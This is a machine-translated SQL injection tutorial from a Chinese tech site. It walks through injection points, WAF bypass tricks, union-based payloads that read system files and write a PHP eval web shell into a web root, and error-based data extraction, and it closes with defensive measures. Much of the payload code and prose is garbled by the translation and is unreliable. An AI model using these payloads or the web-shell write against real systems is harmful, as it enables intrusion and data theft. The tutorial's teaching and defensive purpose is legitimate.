Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to understand SQL injection

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >

Share

Shulou(Shulou.com)05/31 Report--

SQL injection how to understand, I believe that many inexperienced people do not know what to do, so this article summarizes the causes of the problem and solutions, through this article I hope you can solve this problem.

What is SQL?

Structured query language (Structured Query Language, SQL) is a special programming language, which is similar to the standard data query of database. In 1986, SQL was adopted as the standard language of relational database system by American National Standards Institute. It was supported by the International Standards Organization in 1987 and became an international standard.

What is SQL injection

SQL injection is a behavior in which the server does not strictly validate the data sent by the client, which causes the server SQL statement to be maliciously modified and executed successfully.

Loophole principle

SQL note attack "can be described as an attack that destroys the original SQL structure and achieves unexpected results when writing a program by adding" SQL syntax "to the user's controllable parameters. The cause can be attributed to the superposition of the following two reasons.

Programmers construct SQL statements in the form of string concatenation when dealing with the interaction between the program and the database.

Without enough filtering of the user controllable parameters, the contents of the parameters are spliced into the SQL statement.

Cause of loophole

The user can control the input

Insufficient input checking caused the SQL statement to execute illegal data submitted by the user as part of the statement

Why is there SQL injection?

The code does not filter strictly the parameters brought into the SQL statement

Security configuration of the framework is not enabled, for example: magic_quotes_gpc of PHP

Framework-safe query methods are not used

The test interface was not deleted

Firewall not enabled

No other safety protection equipment is used.

Note the possible location of the point

According to the principle of SQL annotation loopholes, SQL and hair are noted in the "controllable parameters" of customers, that is, Web should obtain the data exported by customers. As long as you query the database, there is a possibility of SQL comments. These sites usually include:

GET data

POST data

Cookie data

HTTP header (other fields in the HTTP header)

Vulnerability hazard

Leakage of database information, acquisition and modification of sensitive data: disclosure of users' privacy information (account number, password) stored in the database

Bypass login authentication: use a universal password to log in to the background of the website, etc.

File system operations: column directories, reading, writing files, etc.

Web page tampering: tampering with a specific web page by manipulating the database, embedding network horse links, and carrying out horse attack

Registry operations: read, write, delete registry, etc.

Execute system commands: execute commands remotely

Servers are remotely controlled and Trojans are planted: hackers can modify or control the operating system

Submission method

Submission methods are: get, post, cookie, request, etc.

Among them: request has good support, and you can submit parameters in get, post or cookie mode.

Judge the injection point

It will attempt to submit data after the suspected sites or parameters, so as to determine whether there is a SQL annotation vulnerability.

Test data test to determine whether the attack idea-1 or + 1 can echo the upper or lower pages (to determine whether there is an echo) joint injection'or "whether to display database error messages" Whether the echoed page is different (character type or digital type) whether the page echoed by and 1 # 1 or and 1 # 2 is different (determine whether the page has a Boolean state) Boolean blind note and sleep (5) determine the return time delay injection of the page\ judge escape

Note: if you test against a website and 404 appears, or the page jumps, the site is protected.

Judge whether the character type is digital or not.

As shown in the figure below, generally speaking, parameters such as id are followed by numeric (or possibly character), and other parameters are followed by character

Sql injection bypass

Case bypass

Double-write keyword bypass

Special coding bypass

If some strings are really strictly restricted, we can try some coding bypass.

For example, URLEncode coding, ASCII, HEX, unicode coding bypass:

Or 1 is% 6f%72%20%31%3d%31

Test can also be CHAR + CHAR (97) + CHAR (115) + CHAR (116)

Space filtering bypass

Filter function bypass

Sleep ()-> benchmark ()

Substr (), substring (), mid () can replace each other.

User ()-- > @ @ user (), datadir-- > @ @ datadir

Ord ()-- > ascii (): these two functions have the same effect when dealing with English, but not when dealing with Chinese.

Ascii-- > hex (), bin (): replace and then use the corresponding binary-to-string

Group_concat ()-> concat_ws ()

Inline comments bypass / *!. * /

In MySQL, / * * / is a multiline comment, which is the standard of SQL, but MySQL expands the function of interpretation. If you add an exclamation point / *! 50001sleep (3) * / after the beginning of / *, then the statement in this comment will be executed.

/ *! 50001 select * from test * /; the 50001 here means that the statement will only be executed if the database is version 5.00.01 or above. For some waf, we can bypass it in this way.

Get the site path

Common ways to get paths:

Error display

Legacy document

Don't use Baidu, use Google to search inurl:phpinfo.php

Vulnerability error report, platform configuration file, blasting, etc.

SQL injection to read and write files

SQL injection vulnerabilities can be exploited to read and write files.

Prerequisites for utilization:

1. Database supports file reading and writing

This involves a variable secure_file_priv, which restricts the import and export of files in a higher version of the mysql database. To configure this parameter, you need to modify the my.ini configuration file and restart the mysql service [it defaults to NULL in Phpstudy and is not allowed to read and write files]

Parameter meaning secure_file_priv=NULL limits mysqld does not allow import and export operations secure_file_priv='c:/a/' restricts import and export operations of mysqld to a fixed directory, and subdirectory valid secure_file_priv= does not restrict import and export operations of mysqld

Modify the configuration file with no restrictions on reading and writing. The file path is C:\ phpStudy\ MySQL\ my.ini. This operation is sensitive and needs to be operated in the configuration file of mysql, but cannot be modified in the phpmyadmin web page.

two。 The current user has file permissions

Learn the current user and hostname

? id=-1'union select 1 current current user (), 3-- +

Check whether you have permission or not

? id=-1' union select 1 filekeeper 3 from mysql.user where user= "root" and host= "localhost"-- +

Method 2:

Select File_priv from mysql.user where user= "root" and host= "localhost"

3. Know the absolute path of the file

Read files, using load_file

The following two methods are the same

? id=1' and 1bike 2 union select 1 paramedical loadloads file ('c:\\ windows\\ system32\\ drivers\\ etc\\ hosts'), 3-- +? id=1' and 1charger 2 union select 1scoop loadloads file ('cRV peg id=1' and system 32 lash union select'), 3-- +

Write to a file, using into_outfile

It should be noted here that hexadecimal is written directly. If you write plaintext, you need to enclose it in quotation marks.

Write phpinfo. If no error is reported, it means that the write is successful. You can directly access the address of the written file.

# 1. Write directly? id=-1' union select 1 into outfile'c:\\ phpstudy\\ www\\ hack.php'--+# 2. Rewrite it into hexadecimal? id=1' and 1quote 2 union select 1 rewrite 0x3c3f70687020706870696e666f28293b3f3eLegendary 3 into outfile'c type.phpstudyscarp.

Write a sentence, Trojan horse.

# 1. Write directly? id=1' and 1, 2, union select 1, 5, 3, into outfile, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 3, 2, 2. Rewrite it into hexadecimal? id=1' and 1 union select 1 rewrite 0x3c3f3d406576616c28245f524551554553545b3430345d293f3e 3 into outfile'c into outfile 'cGRAPHack1.php'-+ query mode and report error blindly

In SQL injection, many injections will have no echo, and the reason for non-echo may be the query mode of SQL statements. At this time, we need to use relevant error reports or blind notes for follow-up operations. At the same time, as manual injection, knowing or predicting the approximate writing of its SQL statements in advance can also better choose the corresponding injection statements.

For a more detailed introduction, see the next article, "Common ways of SQL injection."

Query mode

Key understanding: we can guess each other's SQL query mode through the relationship between the query method and the website application, the place where the injection point is generated, and the application guess the other party's query mode.

An example of query method

Select: query data in the website application for data display query operation

For example: select * from news where id=$id

Insert: insert data to perform operations such as user registration and addition in website applications

For example: insert into news (id,url,text) values (2)

Delete: delete data backend management, delete articles, delete users and other operations

For example: delete from news where id=$id

Update updates data member or backend center data synchronization or caching operations

For example: update user set pwd='$p' where id=2 and username='admin'

Order by sort data is generally combined with table name or column name to sort data.

For example: select * from news order by $id

Example: select id,name,price from news order by $order

Report a mistake and make a blind note.

Blind injection means that during the injection process, the obtained data cannot be echoed to the front-end page. At this point, we need to use some methods to judge or try.

This process is called blind injection. We can know that blind registration can be divided into the following three categories:

SQL Blind injection-Logic judgment based on Boolean (non-echo)

Regexp,like,ascii,left,ord,mid

Time-based SQ blind injection-delay judgment (non-echo)

If,sleep

SQL Blind injection based on error reporting-(forced) error echo

Floor,updatexml,extractvalue

Error template: https://www.jianshu.com/p/bc35f8dd4f7c

Error injection function

Floor ()

Floor (x), which returns the largest integer less than or equal to x.

Payload:select conut (*), (concat (database (), rand (0) * 2) x from infromation_schema.tables group by x

X denotes concat (database (), rand (0) * 2), rand (0) generates random numbers between 0 and 1, and * 2 generates random numbers between 0 and 2.

Cause of error: duplicate primary key, required: count (), rand (), group by

Analysis link: https://xz.aliyun.com/t/253#toc-2

Exp ()

Exp (x) returns e ^ x.

When the value of x is large enough, it will cause the result data type of the function to overflow, which will result in an error.

Payload:id = 1 and EXP (~ (SELECT * from (select user ()) a)

Updatexml ()

The error injection is carried out by using the wrong format of the parameters of the mysql function.

Updatexml () function syntax: updatexml (XML_document,Xpath_string,new_value)

Function syntax parsing:

XML_document: is a string String format and is the name of the XML document object

String in Xpath_string:Xpath format

New_value:string format, replacing the found eligible data

Applicable version: 5.1.5 +

Usage: when executing two functions, if there is an error in the path of the xml file, an error will occur, then we need to construct a Xpath_string format error, that is, if we pass the value of Xpath_string to a parameter that does not conform to the format, mysql will report an error

Extractvalue ()

The principle used is that the xpath format does not conform to the error injection.

Function syntax: extractvalue (XML_document,XPath_string)

Applicable version: 5.1.5 +

1. Get the current database name and the version information that uses the mysql database: and extractvalue (1recoery concat (0x7egradb (), 0x7erecoveryversion (), 0x7e)) 2. Get the user rights information and operating system version information of the current injection point: and extractvalue (1 recoveryconcat (0x7eprecinctionversionformulationeversion) and extractvalue (0x7ejournal user (), 0x7e)). Get the location of the database used in the current location: and extractvalue (1 recordconcat (0x7e recordable datadir 0x7e)) 4. Get data table information: and extractvalue (1 limit concat (0x7e, (select table_name from information_schema.tables where table_schema=database () limit 0), 0x7e)) 5. Get the column name information of users data table: and extractvalue (1 select column_name from information_schema.columns where table_name='users' limit concat (0x7e, (select column_name from information_schema.columns where table_name='users' limit 0), 0x7e)) 6. Get the information of the corresponding column names (username\ password): and extractvalue (1 select username from users limit concat (0x7e, (select username from users limit 0Power1), 0x7e)) second injection

Secondary injection vulnerability is a form of security vulnerability that widely exists in Web applications. Compared with the primary injection vulnerability, the secondary injection vulnerability is more difficult to detect, but it has the same attack power as the primary injection vulnerability.

Principle

The principle of secondary injection: when inserting data into the database for the first time, it only uses addslashes or escapes the special characters with the help of get_magic_quotes_gpc, but a feature of addslashes is that although parameters will be added\ to escape after filtering,\ will not be inserted into the database, and the original data will be retained when writing to the database.

After the data is stored in the database, the developer thinks that the data is reliable. When the next query is needed, the dirty data is taken out directly from the database without further verification and processing, which will result in the secondary injection of SQL. For example, when the data is inserted for the first time, the data is inserted in single quotation marks directly into the database, and then in the process of piecing together in the next use, a secondary injection is formed.

Implementation steps

Insert malicious data

When inserting data into the database for the first time, only the special characters were escaped, and the original data was retained when it was written to the database, but the data itself contained malicious content.

Reference malicious data

Give an example

Level 24 of the sql-libs shooting range is used here.

First of all, let's take a look at what the database of the target plane looks like at the beginning, which is demonstrated by the user dhakkan.

Register a new user

The database after registering a new user is as follows

New user logs in and resets password

Looking at the database, something interesting happened. The password of dhakkan changed, but the password of the new user did not change.

In the source code of level 24, you can see the reason, as shown in the following figure

Stack query

Stack injection (Stacked injections), you can see from the meaning of the noun that it should be a bunch of sql statements (multiple) executed together. This is also true in real use. We know that in mysql, mainly on the command line, the end of each statement is added to indicate the end of the statement. In this way, we wondered if we could use more than one sentence together. So there is stack injection (also known as stack query).

Note:

The conditions for the use of stack injection are very limited, and it may be limited by API or database engine, or permissions. It can only be used when calling database functions support the execution of multiple sql statements, and multiple sql statements can be executed at the same time using the mysqli_multi_query () function. But in practice, for example, in order to prevent sql injection mechanism, PHP often uses the mysqli_ query () function to call the database. It can only execute one statement, and the content after the semicolon will not be executed, so it can be said that the conditions for the use of stack injection are very limited. Once it can be used, it may pose a great threat to the website.

DNSlog

DNSlog is the domain name information stored on DNS Server, which records the user's access to the domain name www.baidu.com and so on, similar to log files. For more operations, see DNSlog's practical skills in penetration testing.

Brain map

Common databases, and injection-related ⭐

MySQL, SQLServer, Oracle, PostgreSQL and Access are probably the most popular databases on the market at present. When we conduct penetration testing, we encounter the most of these databases. This paper makes statistics on the similarities and differences of these databases when they are injected.

Annotator, database port

MySQLSQLServerOraclePostgreSQLAccess single-line comment #-No multiline comment / * * / No database port 3306143315215432 is a file database, so the port number database file suffix is not required

MySQL: data file: .myd, index file: .MYI, table definition file: .frm

SQLServer:.mdf

Oracle:.dbf and .ora

PostgreSQL: no suffix name

Before Access:Office 2007 was .mdb, and after Office 2007 was .accdb.

Unique database

MySQL: information_schema (above Mysql5.0)

SQLServer:sysobjects

Oracle:dual

PostgreSQL:

Access:msysobjects

View current user or permission

MySQL

Query the current user select user (); select substring_index (user (),'@', 1); query the current user's permissions select * from mysql.user where user = substring_index (user (),'@', 1)

SQLServer

Determine whether it is SA permission select is_srvrolemember ('sysadmin') determine whether it is db_owner permission select is_member (' db_owner') determine whether it is public permission select is_srvrolemember ('public')

Oracle

View current user select * from user_users; View current user's role select * from session_roles; View current user's permissions select * from session_privs

PostgreSQL

Select user # View users select current_user # View current users

ACCESS

Access database is a file type database without the concept of users and permissions.

ASCII conversion function

MySQL:select char (97)

SQLServer:select char (97)

Oracle:select chr (97) from dual

* * PostgreSQL:select chr (97) * *

* * Access:select chr (97) * *

Select chr (97) & chr (100) & chr & chr (105) & chr

Differences between injection results of different databases ⭐

Mssql

MySQL

Oracle

Common functions for concatenating strings in Sql injection

In select data, we often need to connect the data and echo it. Many times when you want to output multiple data or multiple rows of data, you need to use the string concatenation function. The common string concatenation functions in sqli are concat (), group_concat (), and concat_ws ().

This article explains the above three functions in detail. At the same time, it is explained by mysql here, and other types of databases should be tested by themselves.

Concat () function

When you do not use string concatenation functions:

But one problem here is that when using union joint injection, we all know that joint injection requires the same number of columns to be selected before and after the joint injection. Here id,username is two columns. When we want one column, (of course, we don't rule out the possibility that you expose id first, then username, twice). The answer is concat ()

Concat () grammar and usage features: CONCAT (str1,str2, …)

Returns a string that results in a connection parameter. If any parameter is NULL, the return value is NULL. There can be one or more parameters.

Examples are as follows:

Concat_ws function

Usage: CONCAT_WS (separator,str1,str2,...)

CONCAT_WS () stands for CONCAT With Separator and is a special form of CONCAT (). The first parameter is the delimiter of the other parameters. The position of the delimiter is placed between the two strings to concatenate. The delimiter can be a string or other parameters.

Note: if the delimiter is NULL, the result is NULL. Function ignores the NULL value after any delimiter arguments.

Here, take the comma separator as an example to demonstrate

Group_concat function

Basic query

Mysql > select * from aa;+-+-+ | id | name | +-+-+ | 1 | 10 | 1 | 20 | 1 | 20 | 2 | 20 | 3 | 200 | 3 | 500 | +-+-+ 6 rows in set (0.00 sec)

Group by id, print the values of the name field on a line, separated by commas (default)

Mysql > select id,group_concat (name) from aa group by id;+-+-+ | id | group_concat (name) | +-+-+ | 1 | 10 sec 20 | 2 | 20 | 3 | 200500 | +-+-+ 3 rows in set (0.00 sec)

Group the values in id and print the values of the name field on a line separated by semicolons

Mysql > select id,group_concat (name separator';') from aa group by id;+-+--+ | id | group_concat (name separator';') | +-+-+ | 1 | 10% 20% 20 | 2 | 20 | 3 | 200 500 | +-+-+ 3 rows in set (0.00 sec)

Group by id and print the values of the de-redundant name fields on one line

Comma separation

Mysql > select id,group_concat (distinct name) from aa group by id +-+-+ | id | group_concat (distinct name) | +-+-+ | 1 | 10 Personals 20 | | 2 | 20 | | 3 | 200500 | +-+- -+ 3 rows in set (0.00 sec)

Group the values in id, print the values of the name field on one line, separated by commas, and sort them in reverse order in name

Mysql > select id,group_concat (name order by name desc) from aa group by id +-+-+ | id | group_concat (name order by name desc) | +-+-+ | 1 | 20Person20Person10 | | 2 | 20 | | 3 | 500200 | +- -+-+ 3 rows in set (0.00 sec) additional knowledge-database structure

Database structure: database-> table name-> column name-> data

The demonstration is as follows:

See which databases are included in the MySQL database

Show database

Check which tables are in the database

Use dvwa; # Select dvwa database show tables; # to see which tables are in the dvwa database

Query the contents of the table

View all the contents of the user table: select * from user

View all the contents of the user table as columns: select * from user\ G

View part of the table: select user,password from user

Supplementary knowledge-some common sense notes about SQL minus spaces "-" -% 20 ""-+ "#"% 23 "

Inline comments / * what is commented out * /

Point

In the database, symbols. Represents the next level, such as dvwa.user represents the user table under the dvwa database

Common statements and functions

Recommended reading: SQL injection essential knowledge rudimentary

1:mysql-uroot-proot login database

2:show databases; to see which databases are available.

3:use informatin_schema; uses a database

The usage of 4:limit

The format of limit is limit mjinn.

Where m is the position where the record begins, and 0 represents the first record.

N means to extract n records

5:select function name; query something

The function names are as follows:

Defensive measures

The core idea of defending against SQL injection is to strictly check the data entered by users, and to adopt the principle of minimum authority allocation for the use of the database. At present, the defense measures of SQL injection are as follows:

Code layer

Built-in filtering system (essentially blacklisted, common but not recommended)

Use parameterized query & precompilation (recommended)

Force the use of parameterized statements. Parameterized statements use parameters instead of embedding user input variables in SQL statements. By using this measure, most of the SQL injection attacks can be eliminated.

Safe writing using framework

For example, using # in Mybatis prevents SQL injection, while $does not prevent SQL injection.

Thinkphp uses arrays to automatically use field type detection included in the framework to prevent injection, PDO driver parameter binding, preprocessing, etc.

Safe alternative writing of the Thinkphp framework $data=M ('Member')-> where (array (' id'= > $_ GET ['id']))-> find (); / / using the array method will automatically use the field type detection included with the framework to prevent the injection of $data=M (' Member')-> where (array ('id'= > (int) $_ GET [' id']))-> find () / / Type constraint $data=M ('Member')-> where (' id='.intval ($_ GET ['id']))-> find (); / / Type conversion $data=M (' Member')-> where (array ('id'= > I (' get.id','','intval')-> find (); / / $data=M ('Member')-> where (array (' id'= >': id'))-> bind (': id',I ('get.id')-> select () / / the PDO driver can bind $data=M ('Member')-> where ("id=%d", array ($_ GET [' id']))-> find (); / / preprocessing mechanism / / unsafe writing example $_ GET ['id'] = 8ramp / what you want is a positive integer $data=M ()-> query (' SELECT * FROM `member` WHERE id='.$_GET ['id']) / / executed SQL statement $_ GET ['id'] =' 8 UNION SELECT * FROM `member`;; / / Hidden trouble: construction of abnormal statements for injection; database reinforcement

It mainly includes:

The principle of minimum permissions prohibits the use of any high-privilege accounts (such as sa, dba, root, etc.) for application database access. A more secure approach is to create a limited access account for the application separately.

Disable sensitive functions to deny users access to sensitive system stored procedures, such as xp_dirtree, xp_cmdshell, into_outfile, etc.

The coding of the website and the data layer is unified, and it is recommended to use UTF-8 coding to avoid some filtering models being bypassed, such as wide byte injection, due to the coding inconsistency between the upper and lower layers.

Restrict the database tables that users can access

Other

For example, prevent websites from displaying SQL execution error messages, prevent attackers from injecting in an error-based way, unify the coding of each data layer, prevent filtering models from being bypassed, and so on. Use WAF.

After reading the above, have you mastered how to understand SQL injection? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Database

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report